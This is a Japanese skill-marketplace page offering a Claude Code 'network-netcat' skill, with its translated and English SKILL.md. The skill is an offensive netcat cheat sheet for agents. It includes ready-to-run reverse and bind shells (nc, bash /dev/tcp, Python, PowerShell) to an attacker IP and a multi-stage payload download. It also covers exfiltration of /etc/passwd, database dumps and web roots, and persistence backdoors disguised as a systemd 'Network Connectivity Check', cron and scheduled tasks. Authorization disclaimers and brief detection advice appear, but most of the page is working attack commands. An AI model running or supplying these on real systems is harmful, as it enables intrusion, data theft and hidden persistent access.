jpskill.com
🛠️ 開発・MCP コミュニティ

network-netcat

TCP/UDP接続でのデータ送受信、ポートスキャン、ファイル転送、バックドア通信など、ネットワーク接続のテストやセキュリティ検証、制限された環境でのファイル共有、ファイアウォールルールのテストなど、多岐にわたるネットワーク関連作業を支援するSkill。

📜 元の英語説明(参考)

Network utility for reading and writing data across TCP/UDP connections, port scanning, file transfers, and backdoor communication channels. Use when: (1) Testing network connectivity and port availability, (2) Creating reverse shells and bind shells for authorized penetration testing, (3) Transferring files between systems in restricted environments, (4) Banner grabbing and service enumeration, (5) Establishing covert communication channels, (6) Testing firewall rules and network segmentation.

🇯🇵 日本人クリエイター向け解説

一言でいうと

TCP/UDP接続でのデータ送受信、ポートスキャン、ファイル転送、バックドア通信など、ネットワーク接続のテストやセキュリティ検証、制限された環境でのファイル共有、ファイアウォールルールのテストなど、多岐にわたるネットワーク関連作業を支援するSkill。

※ jpskill.com 編集部が日本のビジネス現場向けに補足した解説です。Skill本体の挙動とは独立した参考情報です。

⚡ おすすめ: コマンド1行でインストール(60秒)

下記のコマンドをコピーしてターミナル(Mac/Linux)または PowerShell(Windows)に貼り付けてください。 ダウンロード → 解凍 → 配置まで全自動。

🍎 Mac / 🐧 Linux
mkdir -p ~/.claude/skills && cd ~/.claude/skills && curl -L -o network-netcat.zip https://jpskill.com/download/17031.zip && unzip -o network-netcat.zip && rm network-netcat.zip
🪟 Windows (PowerShell)
$d = "$env:USERPROFILE\.claude\skills"; ni -Force -ItemType Directory $d | Out-Null; iwr https://jpskill.com/download/17031.zip -OutFile "$d\network-netcat.zip"; Expand-Archive "$d\network-netcat.zip" -DestinationPath $d -Force; ri "$d\network-netcat.zip"

完了後、Claude Code を再起動 → 普通に「動画プロンプト作って」のように話しかけるだけで自動発動します。

💾 手動でダウンロードしたい(コマンドが難しい人向け)
  1. 1. 下の青いボタンを押して network-netcat.zip をダウンロード
  2. 2. ZIPファイルをダブルクリックで解凍 → network-netcat フォルダができる
  3. 3. そのフォルダを C:\Users\あなたの名前\.claude\skills\(Win)または ~/.claude/skills/(Mac)へ移動
  4. 4. Claude Code を再起動

⚠️ ダウンロード・利用は自己責任でお願いします。当サイトは内容・動作・安全性について責任を負いません。

🎯 このSkillでできること

下記の説明文を読むと、このSkillがあなたに何をしてくれるかが分かります。Claudeにこの分野の依頼をすると、自動で発動します。

📦 インストール方法 (3ステップ)

  1. 1. 上の「ダウンロード」ボタンを押して .skill ファイルを取得
  2. 2. ファイル名の拡張子を .skill から .zip に変えて展開(macは自動展開可)
  3. 3. 展開してできたフォルダを、ホームフォルダの .claude/skills/ に置く
    • · macOS / Linux: ~/.claude/skills/
    • · Windows: %USERPROFILE%\.claude\skills\

Claude Code を再起動すれば完了。「このSkillを使って…」と話しかけなくても、関連する依頼で自動的に呼び出されます。

詳しい使い方ガイドを見る →
最終更新
2026-05-18
取得日時
2026-05-18
同梱ファイル
5

📖 Skill本文(日本語訳)

※ 原文(英語/中国語)を Gemini で日本語化したものです。Claude 自身は原文を読みます。誤訳がある場合は原文をご確認ください。

Netcat ネットワークユーティリティ

概要

Netcat (nc) はネットワークツールの「スイスアーミーナイフ」であり、ネットワーク接続を介してデータを読み書きするためのシンプルな Unix ユーティリティを提供します。このスキルでは、リバースシェル、バインドシェル、ファイル転送、ポートスキャン、バナーグラブなどの、許可された攻撃的なセキュリティアプリケーションについて説明します。

重要: Netcat の機能は悪意を持って使用される可能性があります。これらのテクニックは、適切な書面による許可を得た、許可された侵入テスト環境でのみ使用してください。

クイックスタート

基本的な接続とリスニング:

# ポート 4444 でリッスン
nc -lvnp 4444

# リモートホストに接続
nc <target-ip> <port>

# サービスのバナーグラブ
echo "" | nc <target-ip> 80

# 簡単なポートスキャン
nc -zv <target-ip> 1-1000

コアワークフロー

Netcat の操作ワークフロー

進捗状況: [ ] 1. ネットワークテストの承認を確認する [ ] 2. 基本的な接続とポートの可用性をテストする [ ] 3. バナーグラブとサービス列挙を実行する [ ] 4. リバースシェルまたはバインドシェルを確立する (許可されている場合) [ ] 5. システム間でファイルを転送する [ ] 6. リレーおよびピボット接続を作成する [ ] 7. 調査結果を文書化し、接続をクリーンアップする [ ] 8. バックドアまたは永続化メカニズムを削除する

各ステップを体系的に進めてください。完了した項目にチェックを入れてください。

1. 承認の検証

重要: Netcat の操作を行う前に:

  • ネットワークテストの書面による承認を確認する
  • スコープ内のターゲットと許可されたアクティビティを確認する
  • シェルアクセスとデータ持ち出しの制限を理解する
  • 緊急連絡先の手順を文書化する
  • エンゲージメント後のクリーンアップ要件を確認する

2. 基本的な接続テスト

ネットワーク接続とポートの可用性をテストします。

# TCP 接続テスト
nc -vz <target-ip> <port>

# UDP 接続テスト
nc -uvz <target-ip> <port>

# ポート範囲のテスト
nc -zv <target-ip> 20-30

# 詳細な出力
nc -v <target-ip> <port>

接続テストの結果:

  • Connection succeeded: ポートが開いており、接続を受け入れています
  • Connection refused: ポートが閉じられています
  • Connection timeout: ポートがファイアウォールによってフィルタリングされているか、応答がありません

3. バナーグラブ

サービスバナー情報を抽出します。

# HTTP バナーグラブ
echo -e "GET / HTTP/1.0\r\n\r\n" | nc <target-ip> 80

# SMTP バナーグラブ
echo "QUIT" | nc <target-ip> 25

# FTP バナーグラブ
echo "QUIT" | nc <target-ip> 21

# SSH バナーグラブ
nc <target-ip> 22

# タイムアウト付きの一般的なバナーグラブ
timeout 2 nc <target-ip> <port>

サービス固有のバナーグラブ:

# MySQL バナー
nc <target-ip> 3306

# PostgreSQL バナー
nc <target-ip> 5432

# SMB/CIFS バナー
nc <target-ip> 445

# RDP バナー
nc <target-ip> 3389

4. ポートスキャン

簡単なポートスキャン (注: nmap の方が包括的です):

# 単一のポートをスキャン
nc -zv <target-ip> 80

# ポート範囲をスキャン
nc -zv <target-ip> 1-1000

# 特定のポートをスキャン
for port in 21 22 23 25 80 443 3389; do
  nc -zv <target-ip> $port 2>&1 | grep succeeded
done

# 高速 UDP スキャン
nc -uzv <target-ip> 53,161,500

netcat ポートスキャンの制限:

  • 専用のポートスキャナよりも遅い
  • ステルス機能が限られている
  • サービスバージョンの検出がない
  • クイックアドホックテストに適している

5. リバースシェル (承認されたテストのみ)

ターゲットから攻撃者へのリバースシェル接続を確立します。

攻撃者マシン (リスナー):

# リスナーを起動
nc -lvnp 4444

# 詳細な出力付き
nc -lvnp 4444 -v

ターゲットマシン (コネクタ):

# Linux リバースシェル
nc <attacker-ip> 4444 -e /bin/bash

# -e が利用できない場合 (OpenBSD netcat)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f

# Python リバースシェル
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Bash リバースシェル
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1

# Windows リバースシェル (ncat を使用)
ncat.exe <attacker-ip> 4444 -e cmd.exe

# PowerShell リバースシェル
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

リバースシェルをインタラクティブ TTY にアップグレード:

# Python PTY アップグレード
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Ctrl+Z でシェルをバックグラウンドに移動し、次に実行:
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash

6. バインドシェル (承認されたテストのみ)

ターゲットマシンにリスニングシェルを作成します。

ターゲットマシン (シェル付きリスナー):

# Linux バインドシェル
nc -lvnp 4444 -e /bin/bash

# -e フラグなし
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f

# Windows バインドシェル
ncat.exe -lvnp 4444 -e cmd.exe

攻撃者マシン (バインドシェルに接続):

nc <target-ip> 4444

バインドシェル vs リバースシェル:

  • バインドシェル: ターゲットがリッスンし、攻撃者が接続します (アウトバウンドファイアウォールによってブロックされます)
  • リバースシェル: 攻撃者がリッスンし、ターゲットが接続します (インバウンドファイアウォールルールをバイパスします)

7. ファイル転送

システム間でファイルを転送します。

ファイルを受信する (リスナー):

# ポート 5555 でファイルを受信する
nc -lvnp 5555 > received_file.txt

ファイルを送信する (コネクタ):

# ファイルをリスナーに送信する
nc <receiver-ip> 5555 < file_to_send.txt

# 進捗状況の表示付き
pv file_to_send.txt | nc <receiver-ip> 5555

ディレクトリ/アーカイブの転送:

# 送信者: ディレクトリを tar で圧縮し、netcat で送信
tar czf - /path/to/directory | nc <receiver-ip> 5555

# 受信者: 受信して展開
nc
📜 原文 SKILL.md(Claudeが読む英語/中国語)を展開

Netcat Network Utility

Overview

Netcat (nc) is the "Swiss Army knife" of networking tools, providing simple Unix utility for reading and writing data across network connections. This skill covers authorized offensive security applications including reverse shells, bind shells, file transfers, port scanning, and banner grabbing.

IMPORTANT: Netcat capabilities can be used maliciously. Only use these techniques in authorized penetration testing environments with proper written permission.

Quick Start

Basic connection and listening:

# Listen on port 4444
nc -lvnp 4444

# Connect to remote host
nc <target-ip> <port>

# Banner grab a service
echo "" | nc <target-ip> 80

# Simple port scan
nc -zv <target-ip> 1-1000

Core Workflow

Netcat Operations Workflow

Progress: [ ] 1. Verify authorization for network testing [ ] 2. Test basic connectivity and port availability [ ] 3. Perform banner grabbing and service enumeration [ ] 4. Establish reverse or bind shells (if authorized) [ ] 5. Transfer files between systems [ ] 6. Create relay and pivot connections [ ] 7. Document findings and clean up connections [ ] 8. Remove any backdoors or persistence mechanisms

Work through each step systematically. Check off completed items.

1. Authorization Verification

CRITICAL: Before any netcat operations:

  • Confirm written authorization for network testing
  • Verify in-scope targets and allowed activities
  • Understand restrictions on shell access and data exfiltration
  • Document emergency contact procedures
  • Confirm cleanup requirements post-engagement

2. Basic Connectivity Testing

Test network connectivity and port availability:

# TCP connection test
nc -vz <target-ip> <port>

# UDP connection test
nc -uvz <target-ip> <port>

# Test port range
nc -zv <target-ip> 20-30

# Verbose output
nc -v <target-ip> <port>

Connection test results:

  • Connection succeeded: Port is open and accepting connections
  • Connection refused: Port is closed
  • Connection timeout: Port is filtered by firewall or no response

3. Banner Grabbing

Extract service banner information:

# HTTP banner grab
echo -e "GET / HTTP/1.0\r\n\r\n" | nc <target-ip> 80

# SMTP banner grab
echo "QUIT" | nc <target-ip> 25

# FTP banner grab
echo "QUIT" | nc <target-ip> 21

# SSH banner grab
nc <target-ip> 22

# Generic banner grab with timeout
timeout 2 nc <target-ip> <port>

Service-specific banner grabbing:

# MySQL banner
nc <target-ip> 3306

# PostgreSQL banner
nc <target-ip> 5432

# SMB/CIFS banner
nc <target-ip> 445

# RDP banner
nc <target-ip> 3389

4. Port Scanning

Simple port scanning (note: nmap is more comprehensive):

# Scan single port
nc -zv <target-ip> 80

# Scan port range
nc -zv <target-ip> 1-1000

# Scan specific ports
for port in 21 22 23 25 80 443 3389; do
  nc -zv <target-ip> $port 2>&1 | grep succeeded
done

# Fast UDP scan
nc -uzv <target-ip> 53,161,500

Limitations of netcat port scanning:

  • Slower than dedicated port scanners
  • Limited stealth capabilities
  • No service version detection
  • Better for quick ad-hoc testing

5. Reverse Shells (Authorized Testing Only)

Establish reverse shell connections from target to attacker:

Attacker machine (listener):

# Start listener
nc -lvnp 4444

# With verbose output
nc -lvnp 4444 -v

Target machine (connector):

# Linux reverse shell
nc <attacker-ip> 4444 -e /bin/bash

# If -e not available (OpenBSD netcat)
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f

# Python reverse shell
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<attacker-ip>",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call(["/bin/sh","-i"])'

# Bash reverse shell
bash -i >& /dev/tcp/<attacker-ip>/4444 0>&1

# Windows reverse shell (with ncat)
ncat.exe <attacker-ip> 4444 -e cmd.exe

# PowerShell reverse shell
powershell -nop -c "$client = New-Object System.Net.Sockets.TCPClient('<attacker-ip>',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

Upgrade reverse shell to interactive TTY:

# Python PTY upgrade
python -c 'import pty; pty.spawn("/bin/bash")'
python3 -c 'import pty; pty.spawn("/bin/bash")'

# Background shell with Ctrl+Z, then:
stty raw -echo; fg
export TERM=xterm
export SHELL=/bin/bash

6. Bind Shells (Authorized Testing Only)

Create listening shell on target machine:

Target machine (listener with shell):

# Linux bind shell
nc -lvnp 4444 -e /bin/bash

# Without -e flag
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc -lvnp 4444 > /tmp/f

# Windows bind shell
ncat.exe -lvnp 4444 -e cmd.exe

Attacker machine (connect to bind shell):

nc <target-ip> 4444

Bind shell vs Reverse shell:

  • Bind Shell: Target listens, attacker connects (blocked by outbound firewalls)
  • Reverse Shell: Attacker listens, target connects (bypasses inbound firewall rules)

7. File Transfers

Transfer files between systems:

Receiving file (listener):

# Receive file on port 5555
nc -lvnp 5555 > received_file.txt

Sending file (connector):

# Send file to listener
nc <receiver-ip> 5555 < file_to_send.txt

# With progress indication
pv file_to_send.txt | nc <receiver-ip> 5555

Directory/archive transfer:

# Sender: tar and compress directory, send via netcat
tar czf - /path/to/directory | nc <receiver-ip> 5555

# Receiver: receive and extract
nc -lvnp 5555 | tar xzf -

Large file transfer with verification:

# Sender: calculate checksum before sending
md5sum large_file.iso
cat large_file.iso | nc <receiver-ip> 5555

# Receiver: receive and verify
nc -lvnp 5555 > large_file.iso
md5sum large_file.iso

8. Encrypted File Transfer

Use ncat with SSL for encrypted transfers:

# Receiver with SSL
ncat -lvnp 5555 --ssl > received_file.txt

# Sender with SSL
ncat <receiver-ip> 5555 --ssl < file_to_send.txt

# Generate self-signed certificate for ncat
openssl req -new -x509 -days 365 -nodes -out cert.pem -keyout cert.key
ncat -lvnp 5555 --ssl --ssl-cert cert.pem --ssl-key cert.key

9. Relay and Pivoting

Create relay connections through compromised hosts:

# Simple relay: forward connections from port 8080 to internal host
mkfifo backpipe
nc -lvnp 8080 0<backpipe | nc <internal-target-ip> 80 1>backpipe

# Two-way relay
nc -lvnp 8080 -c "nc <internal-target-ip> 80"

# Use ncat for more reliable relay
ncat -lvnp 8080 --sh-exec "ncat <internal-target-ip> 80"

Pivot chain example:

# Compromised Host A (DMZ): relay to internal network
nc -lvnp 9090 -c "nc 192.168.1.100 3389"

# Attacker: connect through pivot
nc <compromised-host-a> 9090

10. Chat and Communication

Simple chat server for covert communication:

# Host 1 (listener)
nc -lvnp 6666

# Host 2 (connector)
nc <host1-ip> 6666

Two-way communication: Both parties can type and messages appear on both sides.

Security Considerations

Authorization & Legal Compliance

  • Written Permission: Obtain explicit authorization for all netcat operations
  • Shell Access: Reverse/bind shells are invasive, require clear authorization
  • Data Exfiltration: File transfers may trigger DLP alerts
  • Covert Channels: Relay connections can bypass security controls
  • Cleanup: Remove all shells, listeners, and backdoors post-engagement

Operational Security

  • Encryption: Use ncat with --ssl for encrypted connections
  • Logging: Netcat leaves minimal forensic artifacts but connections are logged
  • Detection: IDS/IPS may detect common reverse shell patterns
  • Egress Filtering: Outbound connections may be blocked
  • Port Selection: Use common ports (80, 443, 53) to blend with normal traffic

Audit Logging

Document all netcat activities:

  • Connection timestamps and duration
  • Source and destination IP addresses and ports
  • Type of operation (shell, file transfer, relay)
  • Commands executed through shells
  • Files transferred
  • Any errors or connection failures

Compliance

  • MITRE ATT&CK:
    • T1059.004 (Unix Shell)
    • T1071.001 (Web Protocols)
    • T1090 (Proxy/Multi-hop Proxy)
    • T1105 (Ingress Tool Transfer)
  • PTES: Exploitation and post-exploitation phases
  • OWASP: Command injection testing methodology

Common Patterns

Pattern 1: Web Server Vulnerability Validation

# Test for command injection vulnerability
echo -e "GET /?cmd=id HTTP/1.0\r\n\r\n" | nc <target-ip> 80

# SQL injection parameter testing
echo -e "GET /page?id=1' OR '1'='1 HTTP/1.0\r\n\r\n" | nc <target-ip> 80

# Test HTTP methods
echo -e "OPTIONS / HTTP/1.0\r\n\r\n" | nc <target-ip> 80

Pattern 2: Multi-stage Payload Delivery

# Stage 1: Attacker listener
nc -lvnp 4444 > stage2_payload.sh

# Stage 2: Target downloads next stage
nc <attacker-ip> 4444 < /dev/null > /tmp/stage2.sh
chmod +x /tmp/stage2.sh
/tmp/stage2.sh

# Stage 3: Execute downloaded payload
# (payload establishes full reverse shell)

Pattern 3: Data Exfiltration

# Exfiltrate sensitive files
cat /etc/passwd | nc <attacker-ip> 5555

# Exfiltrate database dump
mysqldump -u root -p database_name | nc <attacker-ip> 5555

# Compress and exfiltrate directory
tar czf - /var/www/html | nc <attacker-ip> 5555

# Receiver
nc -lvnp 5555 > exfiltrated_data.tar.gz

Pattern 4: Persistent Backdoor (Authorized Testing)

# Create systemd service for persistence (Linux)
cat > /etc/systemd/system/netcat-backdoor.service <<EOF
[Unit]
Description=Network Connectivity Check
After=network.target

[Service]
Type=simple
ExecStart=/bin/nc <attacker-ip> 4444 -e /bin/bash
Restart=always
RestartSec=60

[Install]
WantedBy=multi-user.target
EOF

systemctl enable netcat-backdoor.service
systemctl start netcat-backdoor.service

# Cron-based persistence
(crontab -l; echo "@reboot /bin/nc <attacker-ip> 4444 -e /bin/bash") | crontab -

# Windows scheduled task
schtasks /create /tn "NetworkCheck" /tr "C:\ncat.exe <attacker-ip> 4444 -e cmd.exe" /sc onstart /ru System

Integration Points

Metasploit Integration

Use netcat as post-exploitation utility:

# Metasploit session backgrounding and netcat shell
meterpreter > execute -f nc -a "<attacker-ip> 4444 -e /bin/bash"

# Upload netcat to target
meterpreter > upload /usr/bin/nc /tmp/nc
meterpreter > shell
sh-4.2$ /tmp/nc <attacker-ip> 5555 -e /bin/bash

Scripting and Automation

#!/bin/bash
# automated_shell_catcher.sh - Automatic reverse shell handler

PORT=4444
LOG_DIR="shells/$(date +%Y%m%d)"
mkdir -p "$LOG_DIR"

while true; do
  TIMESTAMP=$(date +%H%M%S)
  echo "[*] Listening on port $PORT..."
  nc -lvnp $PORT | tee "$LOG_DIR/shell_$TIMESTAMP.log"
  echo "[*] Connection closed, restarting listener..."
  sleep 2
done

Troubleshooting

Issue: "nc: command not found"

Solutions:

# Install netcat (Ubuntu/Debian)
sudo apt-get install netcat-traditional
sudo apt-get install netcat-openbsd

# Install ncat (Nmap project, more features)
sudo apt-get install ncat

# Check available version
which nc ncat netcat

Issue: "-e flag not supported"

Solution: Use alternative technique with named pipes:

# Linux reverse shell without -e
rm /tmp/f; mkfifo /tmp/f
cat /tmp/f | /bin/sh -i 2>&1 | nc <attacker-ip> 4444 > /tmp/f

# Or use ncat which supports -e
ncat <attacker-ip> 4444 -e /bin/bash

Issue: Connection Dies Immediately

Causes:

  • Firewall blocking connection
  • No interactive prompt keeping connection alive
  • Process killed by security software

Solutions:

# Keep connection alive with while loop
while true; do nc <attacker-ip> 4444 -e /bin/bash; sleep 10; done

# Use ncat with keep-alive
ncat -lvnp 4444 --keep-open

# Add reconnection logic
while true; do nc <attacker-ip> 4444 -e /bin/bash 2>/dev/null; sleep 60; done

Issue: Can't Get Interactive Shell

Solutions:

# Upgrade to PTY shell
python -c 'import pty; pty.spawn("/bin/bash")'

# Set terminal type
export TERM=xterm

# Enable raw mode (for Ctrl+C, etc.)
# On attacker machine, background shell with Ctrl+Z:
stty raw -echo; fg

Defensive Considerations

Organizations can detect netcat activity by:

  • Process Monitoring: Detect nc/ncat process execution
  • Network Monitoring: Unusual outbound connections to non-standard ports
  • Command-Line Auditing: Monitor for -e flag usage
  • Traffic Analysis: Unencrypted shell traffic patterns
  • File Integrity: Detect unauthorized netcat binaries

Enhance defensive posture:

  • Block outbound connections to non-business ports
  • Monitor for process execution from unusual locations
  • Deploy EDR solutions to detect reverse shell patterns
  • Enable egress filtering on firewalls
  • Audit Sysmon Event ID 1 (Process Creation) for nc/ncat
  • Detect named pipe creation (Linux: mkfifo)
  • Monitor cron jobs and systemd services for suspicious entries

References

同梱ファイル

※ ZIPに含まれるファイル一覧。`SKILL.md` 本体に加え、参考資料・サンプル・スクリプトが入っている場合があります。